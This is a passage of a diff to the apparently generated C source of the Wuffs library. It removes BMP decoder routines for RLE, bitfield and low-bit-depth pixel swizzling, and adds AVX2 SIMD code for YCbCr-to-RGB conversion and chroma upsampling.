((uint32_t)(self->private_impl.f_rle_delta_x))); +- self->private_impl.f_rle_delta_x = 0u; +- if (self->private_impl.f_dst_x > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); +- goto exit; +- } +- } +- if (v_code > 0u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_code -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- while (true) { +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); +- goto exit; +- } +- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { +- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); +- } +- if (v_code <= 0u) { +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, ((uint64_t)(self->private_impl.f_dst_x))); +- break; +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_code -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } +- } +- v_rle_state = 0u; +- goto label__middle__continue; +- } +- } +- label__goto_suspend__break:; +- self->private_impl.f_rle_state = v_rle_state; +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- } +- label__outer__break:; +- while (self->private_impl.f_dst_y < self->private_impl.f_height) { +- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { +- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- } +- status = wuffs_base__make_status(NULL); +- goto ok; ++ __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); ++ __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); ++ __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); + +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); ++ __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); ++ __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); ++ __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); + +- return status; +-} ++ __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); ++ __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); ++ __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); ++ __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); + +-// -------- func bmp.decoder.swizzle_bitfields ++ __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); ++ __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); ++ __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); ++ __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_bitfields( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ // § Note the swapped B and R channels. ++ __m256i mix00 = _mm256_unpacklo_epi8(packed_r_eve, packed_g_eve); ++ __m256i mix01 = _mm256_unpacklo_epi8(packed_r_odd, packed_g_odd); ++ __m256i mix02 = _mm256_unpacklo_epi8(packed_b_eve, uFFFF); ++ __m256i mix03 = _mm256_unpacklo_epi8(packed_b_odd, uFFFF); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_n = 0; +- uint32_t v_p0 = 0; +- uint32_t v_p1 = 0; +- uint32_t v_p1_temp = 0; +- uint32_t v_num_bits = 0; +- uint32_t v_c = 0; +- uint32_t v_c32 = 0; +- uint32_t v_channel = 0; ++ __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); ++ __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); ++ __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); ++ __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); ++ __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); ++ __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); ++ __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- label__outer__continue:; +- while (true) { +- while (self->private_impl.f_pending_pad > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- self->private_impl.f_pending_pad -= 1u; +- iop_a_src += 1u; +- } +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- if (self->private_impl.f_height > 0u) { +- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; +- } +- goto label__outer__break; +- } else if (self->private_impl.f_pad_per_row != 0u) { +- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; +- goto label__outer__continue; +- } +- } +- v_p1_temp = ((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x)); +- v_p1 = wuffs_base__u32__min(v_p1_temp, 256u); +- v_p0 = 0u; +- while (v_p0 < v_p1) { +- if (self->private_impl.f_bits_per_pixel == 16u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- break; +- } +- v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- break; +- } +- v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4u; +- } +- v_channel = 0u; +- while (v_channel < 4u) { +- if (self->private_impl.f_channel_num_bits[v_channel] == 0u) { +- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = 255u; +- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = 255u; +- } else { +- v_c = ((v_c32 & self->private_impl.f_channel_masks[v_channel]) >> self->private_impl.f_channel_shifts[v_channel]); +- v_num_bits = ((uint32_t)(self->private_impl.f_channel_num_bits[v_channel])); +- while (v_num_bits < 16u) { +- v_c |= ((uint32_t)(v_c << v_num_bits)); +- v_num_bits *= 2u; +- } +- v_c >>= (v_num_bits - 16u); +- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = ((uint8_t)((v_c >> 0u))); +- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = ((uint8_t)((v_c >> 8u))); +- } +- v_channel += 1u; +- } +- v_p0 += 1u; +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- v_n = ((uint64_t)(v_p0)); +- } else { +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, (8u * v_p0))); +- } +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- } +- } +- label__outer__break:; +- status = wuffs_base__make_status(NULL); +- goto ok; ++ __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); ++ __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); ++ __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); ++ __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); + +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); + +- return status; ++ uint32_t n = 32u - (31u & (x - x_end)); ++ dst_iter += 4u * n; ++ up0 += n; ++ up1 += n; ++ up2 += n; ++ x += n; ++ } + } + +-// -------- func bmp.decoder.swizzle_low_bit_depth ++#if defined(__GNUC__) && !defined(__clang__) ++// No-op. ++#else ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column, ++ bool last_column) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp_major = src_ptr_major; ++ const uint8_t* sp_minor = src_ptr_minor; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_low_bit_depth( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ if (first_column) { ++ src_len--; ++ if ((src_len <= 0u) && last_column) { ++ uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // ++ (4u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + 7u) >> 4u); ++ return dst_ptr; ++ } + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_n = 0; +- uint32_t v_p0 = 0; +- uint32_t v_chunk_bits = 0; +- uint32_t v_chunk_count = 0; +- uint32_t v_pixels_per_chunk = 0; ++ uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. ++ uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. ++ uint32_t sv_major_p1 = sp_major[+1]; ++ uint32_t sv_minor_p1 = sp_minor[+1]; + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ if (src_len <= 0u) { ++ return dst_ptr; ++ } + } + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- break; +- } +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- if (self->private_impl.f_bits_per_pixel == 1u) { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); +- v_pixels_per_chunk = 32u; +- } else if (self->private_impl.f_bits_per_pixel == 2u) { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); +- v_pixels_per_chunk = 16u; +- } else { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); +- v_pixels_per_chunk = 8u; +- } +- while ((v_chunk_count >= 64u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 256u)) { +- iop_a_src += 256u; +- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 64u)))); +- v_chunk_count -= 64u; +- } +- while ((v_chunk_count >= 8u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 32u)) { +- iop_a_src += 32u; +- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 8u)))); +- v_chunk_count -= 8u; +- } +- while (v_chunk_count > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- iop_a_src += 4u; +- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 1u)))); +- v_chunk_count -= 1u; +- } +- continue; +- } +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); +- v_p0 = 0u; +- if (self->private_impl.f_bits_per_pixel == 1u) { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); +- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 16u); +- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { +- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4u; +- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((1u & (v_chunk_bits >> 31u)))); +- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((1u & (v_chunk_bits >> 30u)))); +- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((1u & (v_chunk_bits >> 29u)))); +- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((1u & (v_chunk_bits >> 28u)))); +- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((1u & (v_chunk_bits >> 27u)))); +- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((1u & (v_chunk_bits >> 26u)))); +- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((1u & (v_chunk_bits >> 25u)))); +- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((1u & (v_chunk_bits >> 24u)))); +- self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((1u & (v_chunk_bits >> 23u)))); +- self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((1u & (v_chunk_bits >> 22u)))); +- self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((1u & (v_chunk_bits >> 21u)))); +- self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((1u & (v_chunk_bits >> 20u)))); +- self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((1u & (v_chunk_bits >> 19u)))); +- self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((1u & (v_chunk_bits >> 18u)))); +- self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((1u & (v_chunk_bits >> 17u)))); +- self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((1u & (v_chunk_bits >> 16u)))); +- self->private_data.f_scratch[(v_p0 + 16u)] = ((uint8_t)((1u & (v_chunk_bits >> 15u)))); +- self->private_data.f_scratch[(v_p0 + 17u)] = ((uint8_t)((1u & (v_chunk_bits >> 14u)))); +- self->private_data.f_scratch[(v_p0 + 18u)] = ((uint8_t)((1u & (v_chunk_bits >> 13u)))); +- self->private_data.f_scratch[(v_p0 + 19u)] = ((uint8_t)((1u & (v_chunk_bits >> 12u)))); +- self->private_data.f_scratch[(v_p0 + 20u)] = ((uint8_t)((1u & (v_chunk_bits >> 11u)))); +- self->private_data.f_scratch[(v_p0 + 21u)] = ((uint8_t)((1u & (v_chunk_bits >> 10u)))); +- self->private_data.f_scratch[(v_p0 + 22u)] = ((uint8_t)((1u & (v_chunk_bits >> 9u)))); +- self->private_data.f_scratch[(v_p0 + 23u)] = ((uint8_t)((1u & (v_chunk_bits >> 8u)))); +- self->private_data.f_scratch[(v_p0 + 24u)] = ((uint8_t)((1u & (v_chunk_bits >> 7u)))); +- self->private_data.f_scratch[(v_p0 + 25u)] = ((uint8_t)((1u & (v_chunk_bits >> 6u)))); +- self->private_data.f_scratch[(v_p0 + 26u)] = ((uint8_t)((1u & (v_chunk_bits >> 5u)))); +- self->private_data.f_scratch[(v_p0 + 27u)] = ((uint8_t)((1u & (v_chunk_bits >> 4u)))); +- self->private_data.f_scratch[(v_p0 + 28u)] = ((uint8_t)((1u & (v_chunk_bits >> 3u)))); +- self->private_data.f_scratch[(v_p0 + 29u)] = ((uint8_t)((1u & (v_chunk_bits >> 2u)))); +- self->private_data.f_scratch[(v_p0 + 30u)] = ((uint8_t)((1u & (v_chunk_bits >> 1u)))); +- self->private_data.f_scratch[(v_p0 + 31u)] = ((uint8_t)((1u & (v_chunk_bits >> 0u)))); +- v_p0 = ((v_p0 & 511u) + 32u); +- v_chunk_count -= 1u; +- } +- } else if (self->private_impl.f_bits_per_pixel == 2u) { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); +- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 32u); +- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { +- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4u; +- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((3u & (v_chunk_bits >> 30u)))); +- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((3u & (v_chunk_bits >> 28u)))); +- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((3u & (v_chunk_bits >> 26u)))); +- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((3u & (v_chunk_bits >> 24u)))); +- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((3u & (v_chunk_bits >> 22u)))); +- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((3u & (v_chunk_bits >> 20u)))); +- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((3u & (v_chunk_bits >> 18u)))); +- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((3u & (v_chunk_bits >> 16u)))); +- self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((3u & (v_chunk_bits >> 14u)))); +- self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((3u & (v_chunk_bits >> 12u)))); +- self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((3u & (v_chunk_bits >> 10u)))); +- self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((3u & (v_chunk_bits >> 8u)))); +- self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((3u & (v_chunk_bits >> 6u)))); +- self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((3u & (v_chunk_bits >> 4u)))); +- self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((3u & (v_chunk_bits >> 2u)))); +- self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((3u & (v_chunk_bits >> 0u)))); +- v_p0 = ((v_p0 & 511u) + 16u); +- v_chunk_count -= 1u; +- } +- } else { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); +- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 64u); +- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { +- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4u; +- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 28u)))); +- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 24u)))); +- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 20u)))); +- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 16u)))); +- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); +- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); +- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); +- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); +- v_p0 = ((v_p0 & 511u) + 8u); +- v_chunk_count -= 1u; +- } +- } +- v_p0 = wuffs_base__u32__min(v_p0, wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x)); +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- } +- status = wuffs_base__make_status(NULL); +- goto ok; +- +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func bmp.decoder.frame_dirty_rect +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_bmp__decoder__frame_dirty_rect( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); ++ if (last_column) { ++ src_len--; + } + +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} ++ if (src_len < 32) { ++ // This fallback is the same as the non-SIMD-capable code path. ++ for (; src_len > 0u; src_len--) { ++ uint32_t sv_major_m1 = sp_major[-1]; ++ uint32_t sv_minor_m1 = sp_minor[-1]; ++ uint32_t sv_major_p1 = sp_major[+1]; ++ uint32_t sv_minor_p1 = sp_minor[+1]; + +-// -------- func bmp.decoder.num_animation_loops ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_bmp__decoder__num_animation_loops( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ } else { ++ while (src_len > 0u) { ++ // Load 1+32+1 samples (six u8x32 vectors) from the major (jxx) and minor ++ // (nxx) rows. ++ // ++ // major_p0 = [j00 j01 j02 j03 .. j28 j29 j30 j31] // p0 = "plus 0" ++ // minor_p0 = [n00 n01 n02 n03 .. n28 n29 n30 n31] // p0 = "plus 0" ++ // major_m1 = [jm1 j00 j01 j02 .. j27 j28 j29 j30] // m1 = "minus 1" ++ // minor_m1 = [nm1 n00 n01 n02 .. n27 n28 n29 n30] // m1 = "minus 1" ++ // major_p1 = [j01 j02 j03 j04 .. j29 j30 j31 j32] // p1 = "plus 1" ++ // minor_p1 = [n01 n02 n03 n04 .. n29 n30 n31 n32] // p1 = "plus 1" ++ __m256i major_p0 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 0)); ++ __m256i minor_p0 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 0)); ++ __m256i major_m1 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major - 1)); ++ __m256i minor_m1 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor - 1)); ++ __m256i major_p1 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 1)); ++ __m256i minor_p1 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 1)); + +- return 0u; +-} ++ // Unpack, staying with u8x32 vectors. ++ // ++ // step1_p0_lo = [j00 n00 j01 n01 .. j07 n07 j16 n16 j17 n17 .. j23 n23] ++ // step1_p0_hi = [j08 n08 j09 n09 .. j15 n15 j24 n24 j25 n25 .. j31 n31] ++ // step1_m1_lo = [jm1 nm1 j00 n00 .. j06 n06 j15 n15 j16 n16 .. j22 n22] ++ // step1_m1_hi = [j07 n07 j08 n08 .. j14 n14 j23 n23 j24 n24 .. j30 n30] ++ // step1_p1_lo = [j01 n01 j02 n02 .. j08 n08 j17 n17 j18 n18 .. j24 n24] ++ // step1_p1_hi = [j09 n09 j10 n10 .. 